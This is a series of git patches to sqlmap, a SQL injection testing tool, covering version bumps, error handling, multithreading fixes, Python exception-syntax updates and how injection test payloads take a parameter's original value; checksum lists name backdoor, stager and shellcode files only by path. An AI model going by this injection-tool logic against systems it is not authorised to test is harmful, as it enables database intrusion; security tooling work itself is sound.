1989f6cbed217f4222dc2dce72992d91 plugins/generic/syntax.py 44c388ea08d4296e2bf2706e19cbe64a plugins/generic/takeover.py -a4b9f764140e89279e3d0dace99bfa5f plugins/generic/users.py +f57914512ae22521b988b5094f1a0d6f plugins/generic/users.py fb6be55d21a70765e35549af2484f762 plugins/__init__.py 5dc693e22f5d020c5c568d7325bd4226 shell/backdoors/backdoor.asp_ 158bfa168128393dde8d6ed11fe9a1b8 shell/backdoors/backdoor.aspx_ From 3d88dc0a51321b5ce82bb87475dfb6744657e803 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 10:12:17 +0100 Subject: [PATCH 069/800] Fixes #3439 --- lib/core/settings.py | 2 +- sqlmap.py | 7 ++++++- txt/checksum.md5 | 4 ++-- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 236e8017610..5b89cb62b61 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.67" +VERSION = "1.3.1.68" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index e2164173284..087983447e7 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -232,11 +232,16 @@ def main(): logger.critical(errMsg) raise SystemExit - elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")): + elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded", "Disk full while accessing")): errMsg = "no space left on output device" logger.critical(errMsg) raise SystemExit + elif any(_ in excMsg for _ in ("The paging file is too small",)): + errMsg = "no space left for paging file" + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")): errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] errMsg += "You should retrieve the latest development version from official GitHub " diff --git a/txt/checksum.md5 b/txt/checksum.md5 index f13868f5315..2f7fd7b9a76 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -d9ee29595bb4272fda11b3079753cdd6 lib/core/settings.py +83f405c564cb10f99610ae30bbbbcf70 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -234,7 +234,7 @@ ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_ 0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_ 2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_ 41522f8ad02ac133ca0aeaab374c36a8 sqlmapapi.py -5cf6426651800869be0d4750b07b1b74 sqlmap.py +3926fb4ba81b03abede53d507ab89aab sqlmap.py 772fb3dd15edc9d4055ab9f9dee0c203 tamper/0x2char.py 3d89a5c4c33d4d1d9303f5e3bd11f0ae tamper/apostrophemask.py 1fd0eec63970728c1e6628b2e4c21d81 tamper/apostrophenullencode.py From ef8530af5ba25fa61b9753c9f1396d7baa73c2d2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 11:08:57 +0100 Subject: [PATCH 070/800] Fixing mess with template payloads and URI/JSON/XML/custom cases --- lib/controller/checks.py | 9 ++++++--- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a8343a214a4..cea5a4652ef 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -426,11 +426,14 @@ def checkSqlInjection(place, parameter, value): templatePayload = None vector = None + origValue = value + if kb.customInjectionMark in origValue: + origValue = origValue.split(kb.customInjectionMark)[0] + origValue = re.search(r"(\w*)\Z", origValue).group(1) + # Threat the parameter original value according to the # test's tag if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix: - origValue = value - if kb.tamperFunctions: templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.NEGATIVE: @@ -440,7 +443,7 @@ def checkSqlInjection(place, parameter, value): if conf.invalidLogical: _ = int(kb.data.randomInt[:2]) - origValue = "%s AND %s LIKE %s" % (value, _, _ + 1) + origValue = "%s AND %s LIKE %s" % (origValue, _, _ + 1) elif conf.invalidBignum: origValue = kb.data.randomInt[:6] elif conf.invalidString: diff --git a/lib/core/settings.py b/lib/core/settings.py index 5b89cb62b61..920fc29f83c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.68" +VERSION = "1.3.1.69" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 2f7fd7b9a76..fb79246dd38 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -23,7 +23,7 @@ fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py aec73042403993076f478da48066a79e extra/wafdetectify/wafdetectify.py ec782b9cdb8d857a80b6ecf0f32db7f4 lib/controller/action.py -11132dd6114b3f76922bb36cff16eceb lib/controller/checks.py +9f12e798cb9b194a61f8e278c689fb22 lib/controller/checks.py b37a93767459162b30798bd9732a12a3 lib/controller/controller.py c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -83f405c564cb10f99610ae30bbbbcf70 lib/core/settings.py +9485ff3bee749146260aebe26c903a21 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py From ae6235ce20ed908690146c1786bcae4a92bb7829 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 13:06:13 +0100 Subject: [PATCH 071/800] Fixes #3440 --- lib/core/settings.py | 2 +- plugins/generic/entries.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 920fc29f83c..e9bffd77693 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.69" +VERSION = "1.3.1.70" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index f3dd5d6b327..de51d97f319 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -553,7 +553,7 @@ def dumpFoundColumn(self, dbs, foundCols, colConsider): continue conf.tbl = table - colList = filter(column for column in columns if column) + colList = [_ for _ in columns if _] if conf.exclude: colList = [_ for _ in colList if _ not in conf.exclude.split(',')] diff --git a/txt/checksum.md5 b/txt/checksum.md5 index fb79246dd38..0e37883c159 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -9485ff3bee749146260aebe26c903a21 lib/core/settings.py +6e47f6340889c0241c3055581fd9dd5c lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -214,7 +214,7 @@ ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py 312020bc31ffb0bc6077f62e6fff6e73 plugins/generic/connector.py d749b7f7b4bcf1f646290dec739f1e6d plugins/generic/custom.py 791db3be35714c9a2e55a7abe9127da4 plugins/generic/databases.py -8a70329d0bfc21cf89b7a46118d16d17 plugins/generic/entries.py +4cf8eb3719c980c54a92f838a999d090 plugins/generic/entries.py f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py 65e75cd3c2c7acffa6ac13b086e0f383 plugins/generic/fingerprint.py From ba356baab01510f043420af816e27ce9d1fa3425 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 13:45:16 +0100 Subject: [PATCH 072/800] Minor stability patch for multi-threading console output (#3284) --- lib/core/common.py | 12 ++++++++++-- lib/core/dump.py | 6 ++++-- lib/core/option.py | 1 - lib/core/settings.py | 2 +- lib/core/threads.py | 2 -- lib/request/connect.py | 3 ++- txt/checksum.md5 | 12 ++++++------ 7 files changed, 23 insertions(+), 15 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e435f847cfd..f9fa6add207 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -913,7 +913,8 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status= if not kb.get("threadException"): if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")): - if kb.get("multiThreadMode"): + multiThreadMode = isMultiThreadMode() + if multiThreadMode: logging._acquireLock() if isinstance(data, unicode): @@ -931,7 +932,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status= except IOError: pass - if kb.get("multiThreadMode"): + if multiThreadMode: logging._releaseLock() kb.prependFlag = isinstance(data, basestring) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n') @@ -1982,6 +1983,13 @@ def isHexEncodedString(subject): return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None +def isMultiThreadMode(): + """ + Checks if running in multi-thread(ing) mode + """ + + return threading.activeCount() > 1 + @cachedmethod def getConsoleWidth(default=80): """ diff --git a/lib/core/dump.py b/lib/core/dump.py index 2ef7e240746..ddbf3209e98 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -20,6 +20,7 @@ from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import isListLike +from lib.core.common import isMultiThreadMode from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns @@ -74,7 +75,8 @@ def _write(self, data, newline=True, console=True, content_type=None): if console: dataToStdout(text) - if kb.get("multiThreadMode"): + multiThreadMode = isMultiThreadMode() + if multiThreadMode: self._lock.acquire() try: @@ -83,7 +85,7 @@ def _write(self, data, newline=True, console=True, content_type=None): errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - if kb.get("multiThreadMode"): + if multiThreadMode: self._lock.release() kb.dataOutputFlag = True diff --git a/lib/core/option.py b/lib/core/option.py index 80865360ee5..eabf65a1c65 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1829,7 +1829,6 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None - kb.multiThreadMode = False kb.negativeLogic = False kb.nullConnection = None kb.oldMsf = None diff --git a/lib/core/settings.py b/lib/core/settings.py index e9bffd77693..59c7df70341 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.70" +VERSION = "1.3.1.71" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index a9e4a4c96cf..f6f6bb65d68 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -110,7 +110,6 @@ def setDaemon(thread): def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] - kb.multiThreadMode = True kb.threadContinue = True kb.threadException = False @@ -204,7 +203,6 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio traceback.print_exc() finally: - kb.multiThreadMode = False kb.bruteMode = False kb.threadContinue = True kb.threadException = False diff --git a/lib/request/connect.py b/lib/request/connect.py index 8ea22e11ac8..b179fa7e3fa 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -44,6 +44,7 @@ class WebSocketException(Exception): from lib.core.common import getRequestHeader from lib.core.common import getSafeExString from lib.core.common import getUnicode +from lib.core.common import isMultiThreadMode from lib.core.common import logHTTPTraffic from lib.core.common import pushValue from lib.core.common import popValue @@ -731,7 +732,7 @@ class _(dict): else: logger.debug(warnMsg) return Connect._retryProxy(**kwargs) - elif kb.testMode or kb.multiThreadMode: + elif kb.testMode or isMultiThreadMode(): logger.critical(warnMsg) return None, None, None else: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 0e37883c159..8bc45754133 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -29,32 +29,32 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -2cb5d057cbb1f333dfd42b8c7262d404 lib/core/common.py +d6961903f261635b2eb3fe7e9c35e8ce lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py db60c6ebb63b72ed119e304b359fc1a6 lib/core/datatype.py b7c912e2af7a3354f6d7c04f556a80b2 lib/core/decorators.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py -fd5403505f76eee6829c06b9342e269c lib/core/dump.py +4782353a3072e4d17c4e314daf918d8a lib/core/dump.py 5c91145204092b995ed1ac641e9e291d lib/core/enums.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -bdb5a0e1f40d9c4d43593e25c8c58ec6 lib/core/option.py +b56df9d9426027f3450432c2b6428485 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4cfda3735871cd59b213470a0bbc8c3a lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -6e47f6340889c0241c3055581fd9dd5c lib/core/settings.py +77e8b3de0d19deb37e87cf34bdf18a1a lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py 7857b24b7865ccb4a05283faa596974d lib/core/testing.py -203d2082929b4ac5454605c8c7c800a9 lib/core/threads.py +e9788d2992f842cf91ab67389bf4372a lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py ff45c74515fecc95277f7b9ad945f17c lib/core/update.py 5b3f08208be0579356f78ce5805d37b2 lib/core/wordlist.py @@ -71,7 +71,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py 97b7577fdfe3d8537fe9ea3a070d0507 lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -5a1226fc294dd7507be089b5622564d1 lib/request/connect.py +27927a37edfa9c2dfb6e5de9e859d10f lib/request/connect.py 7cba86090b02558f04c6692cef66e772 lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From bdc4457f34bfa080056cbb5bbf6b193d9257e731 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 14:09:13 +0100 Subject: [PATCH 073/800] Old exception handling format to new one --- extra/cloak/cloak.py | 4 ++-- extra/dbgtool/dbgtool.py | 4 ++-- extra/safe2bin/safe2bin.py | 4 ++-- lib/core/profiling.py | 1 - lib/core/settings.py | 2 +- thirdparty/beautifulsoup/beautifulsoup.py | 2 +- thirdparty/clientform/clientform.py | 4 ++-- thirdparty/colorama/ansitowin32.py | 2 +- thirdparty/gprof2dot/gprof2dot.py | 2 +- thirdparty/keepalive/keepalive.py | 8 ++++---- txt/checksum.md5 | 20 ++++++++++---------- 11 files changed, 26 insertions(+), 27 deletions(-) diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 4883342c831..c4810cbe39d 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -61,8 +61,8 @@ def main(): if not args.inputFile: parser.error('Missing the input file, -h for help') - except (OptionError, TypeError), e: - parser.error(e) + except (OptionError, TypeError) as ex: + parser.error(ex) if not os.path.isfile(args.inputFile): print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile) diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 72403b2fd28..63ba43aac7c 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -88,8 +88,8 @@ def main(inputFile, outputFile): if not args.inputFile: parser.error("Missing the input file, -h for help") - except (OptionError, TypeError), e: - parser.error(e) + except (OptionError, TypeError) as ex: + parser.error(ex) inputFile = args.inputFile outputFile = args.outputFile diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index 6811a1e7151..8053120d9a9 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -110,8 +110,8 @@ def main(): if not args.inputFile: parser.error('Missing the input file, -h for help') - except (OptionError, TypeError), e: - parser.error(e) + except (OptionError, TypeError) as ex: + parser.error(ex) if not os.path.isfile(args.inputFile): print('ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile) diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 95cca002ae5..9ba1dd4c74b 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -10,7 +10,6 @@ import cProfile from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.data import logger from lib.core.data import paths from lib.core.settings import UNICODE_ENCODING diff --git a/lib/core/settings.py b/lib/core/settings.py index 59c7df70341..da26eee8ac4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.71" +VERSION = "1.3.1.72" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index 4d280300ba2..d81d915248a 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -1836,7 +1836,7 @@ def _convertFrom(self, proposed): u = self._toUnicode(markup, proposed) self.markup = u self.originalEncoding = proposed - except Exception, e: + except Exception as e: # print "That didn't work!" # print e return None diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 228c36daf8a..20feafd2f6c 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -1100,7 +1100,7 @@ def _ParseFileEx(file, base_uri, data = file.read(CHUNK) try: fp.feed(data) - except ParseError, e: + except ParseError as e: e.base_uri = base_uri raise if len(data) != CHUNK: break @@ -2902,7 +2902,7 @@ def __setitem__(self, name, value): control = self.find_control(name) try: control.value = value - except AttributeError, e: + except AttributeError as e: raise ValueError(str(e)) def get_value(self, diff --git a/thirdparty/colorama/ansitowin32.py b/thirdparty/colorama/ansitowin32.py index e2a43a54499..2c9cea763c4 100644 --- a/thirdparty/colorama/ansitowin32.py +++ b/thirdparty/colorama/ansitowin32.py @@ -180,7 +180,7 @@ def write_plain_text(self, text, start, end): def _write(self, text, retry=5): try: self.wrapped.write(text) - except IOError, err: + except IOError as err: if not (err.errno == 0 and retry > 0): raise self._write(text, retry-1) diff --git a/thirdparty/gprof2dot/gprof2dot.py b/thirdparty/gprof2dot/gprof2dot.py index b7116b7928d..f347961996f 100644 --- a/thirdparty/gprof2dot/gprof2dot.py +++ b/thirdparty/gprof2dot/gprof2dot.py @@ -695,7 +695,7 @@ def next(self): self.final = len(data) < size try: self.parser.Parse(data, self.final) - except xml.parsers.expat.ExpatError, e: + except xml.parsers.expat.ExpatError as e: #if e.code == xml.parsers.expat.errors.XML_ERROR_NO_ELEMENTS: if e.code == 3: pass diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 242620606a4..5422d5ac5fd 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -238,7 +238,7 @@ def do_open(self, req): self._cm.add(host, h, 0) self._start_transaction(h, req) r = h.getresponse() - except (socket.error, httplib.HTTPException), err: + except (socket.error, httplib.HTTPException) as err: raise urllib2.URLError(err) if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason) @@ -323,7 +323,7 @@ def _start_transaction(self, h, req): h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) else: h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - except (socket.error, httplib.HTTPException), err: + except (socket.error, httplib.HTTPException) as err: raise urllib2.URLError(err) if not req.headers.has_key('Connection'): @@ -495,7 +495,7 @@ def error_handler(url): fo.close() try: status, reason = fo.status, fo.reason except AttributeError: status, reason = None, None - except IOError, e: + except IOError as e: print " EXCEPTION: %s" % e raise else: @@ -613,7 +613,7 @@ def debug(self, msg, *args): print msg % args def test(url, N=10): print "checking error hander (do this on a non-200)" try: error_handler(url) - except IOError, e: + except IOError as e: print "exiting - exception will prevent further tests" sys.exit() print diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 8bc45754133..1c690d5f98e 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -1,8 +1,8 @@ 3d37032b2bd62ee37bd61c5b7ad31ab4 extra/beep/beep.py fb6be55d21a70765e35549af2484f762 extra/beep/__init__.py -03e8129f9ef4aea150266255a0cd06f4 extra/cloak/cloak.py +8b4237aae3b82c325e0b34f6adfa0bc3 extra/cloak/cloak.py fb6be55d21a70765e35549af2484f762 extra/cloak/__init__.py -c7da22bb04f5c42a523d04baebe8088c extra/dbgtool/dbgtool.py +1046e46c8923ec5afe4f6f1ca3ee55bb extra/dbgtool/dbgtool.py fb6be55d21a70765e35549af2484f762 extra/dbgtool/__init__.py acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_ 216a0e04bef7053e6aa35ca98907007e extra/icmpsh/icmpsh_m.py @@ -10,7 +10,7 @@ acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_ fb6be55d21a70765e35549af2484f762 extra/__init__.py ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_ fb6be55d21a70765e35549af2484f762 extra/safe2bin/__init__.py -db2b5fce6e92d3a13cb62aea5ffcae2d extra/safe2bin/safe2bin.py +c26cfad6b77b44a1317cd058b4477ce0 extra/safe2bin/safe2bin.py d229479d02d21b29f209143cb0547780 extra/shellcodeexec/linux/shellcodeexec.x32_ 2fe2f94eebc62f7614f0391a8a90104f extra/shellcodeexec/linux/shellcodeexec.x64_ c55b400b72acc43e0e59c87dd8bb8d75 extra/shellcodeexec/windows/shellcodeexec.x32.exe_ @@ -44,12 +44,12 @@ fb6be55d21a70765e35549af2484f762 lib/core/__init__.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py b56df9d9426027f3450432c2b6428485 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py -4cfda3735871cd59b213470a0bbc8c3a lib/core/profiling.py +4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -77e8b3de0d19deb37e87cf34bdf18a1a lib/core/settings.py +568792efda46b66327bb5e42ee5f136f lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -294,7 +294,7 @@ fc571c746951a5306591e04f70ddc46e tamper/versionedmorekeywords.py d39ce1f99e268dc7f92b602656f49461 tamper/xforwardedfor.py b1c02296b4e3b0ebaa58b9dcd914cbf4 thirdparty/ansistrm/ansistrm.py d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py -4dd01a6ac22e44e445330500e2a7fb1a thirdparty/beautifulsoup/beautifulsoup.py +7abd52c4381afd8ac07d5978c8897c2b thirdparty/beautifulsoup/beautifulsoup.py cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py ff54a1d98f0ab01ba7b58b068d2ebd26 thirdparty/bottle/bottle.py 4528e6a7bb9341c36c425faf40ef32c3 thirdparty/bottle/__init__.py @@ -336,21 +336,21 @@ ee25f2a03587e2c283eab0b36c9e5783 thirdparty/chardet/sbcsgroupprober.py c9349824f2647962175d321cc0c52134 thirdparty/chardet/sjisprober.py bcae4c645a737d3f0e7c96a66528ca4a thirdparty/chardet/universaldetector.py 6f8b3e25472c02fb45a75215a175991f thirdparty/chardet/utf8prober.py -9df18debb6b5c5c0caff3d126958c8d7 thirdparty/clientform/clientform.py +1dd9a97cef4c8e7da7082c1f0518a19b thirdparty/clientform/clientform.py 722281d87fb13ec22555480f8f4c715b thirdparty/clientform/__init__.py 0b625ccefa6b066f79d3cbb3639267e6 thirdparty/colorama/ansi.py -93bb7f06c8300a91b533ea55e8aead43 thirdparty/colorama/ansitowin32.py +7ec474bef2432a1b45001bb87f2ab25f thirdparty/colorama/ansitowin32.py ed4d76c08741d34ac79f6488663345f7 thirdparty/colorama/initialise.py c0707ca77ccb4a2c0f12b4085057193c thirdparty/colorama/__init__.py ad3d022d4591aee80f7391248d722413 thirdparty/colorama/win32.py cdd682cbf77137ef4253b77a95ed9bd8 thirdparty/colorama/winterm.py be7eac2e6cfb45c5e297ec5eee66e747 thirdparty/fcrypt/fcrypt.py e00542d22ffa8d8ac894c210f38454be thirdparty/fcrypt/__init__.py -f495039e29b2ebe431fa0a31d3c564fa thirdparty/gprof2dot/gprof2dot.py +5bf76c1e6f4674cec65d89814d989304 thirdparty/gprof2dot/gprof2dot.py 855372c870a23d46683f8aa39d75f6a1 thirdparty/gprof2dot/__init__.py d41d8cd98f00b204e9800998ecf8427e thirdparty/__init__.py e3b18f925d125bd17c7e7a7ec0b4b85f thirdparty/keepalive/__init__.py -e0c6a936506bffeed53ce106ec15942d thirdparty/keepalive/keepalive.py +c7e8085d9db7a798540b3bad4546dd4a thirdparty/keepalive/keepalive.py d41d8cd98f00b204e9800998ecf8427e thirdparty/magic/__init__.py bf318e0abbe6b2e1a167a233db7f744f thirdparty/magic/magic.py d41d8cd98f00b204e9800998ecf8427e thirdparty/multipart/__init__.py From 66e2fc302c3e371889c597e81d957d108f507d76 Mon Sep 17 00:00:00 2001 From: neargle Date: Thu, 24 Jan 2019 03:58:53 +0800 Subject: [PATCH 074/800] Add MySQL sys Schema in MYSQL_SYSTEM_DBS (#3443) --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 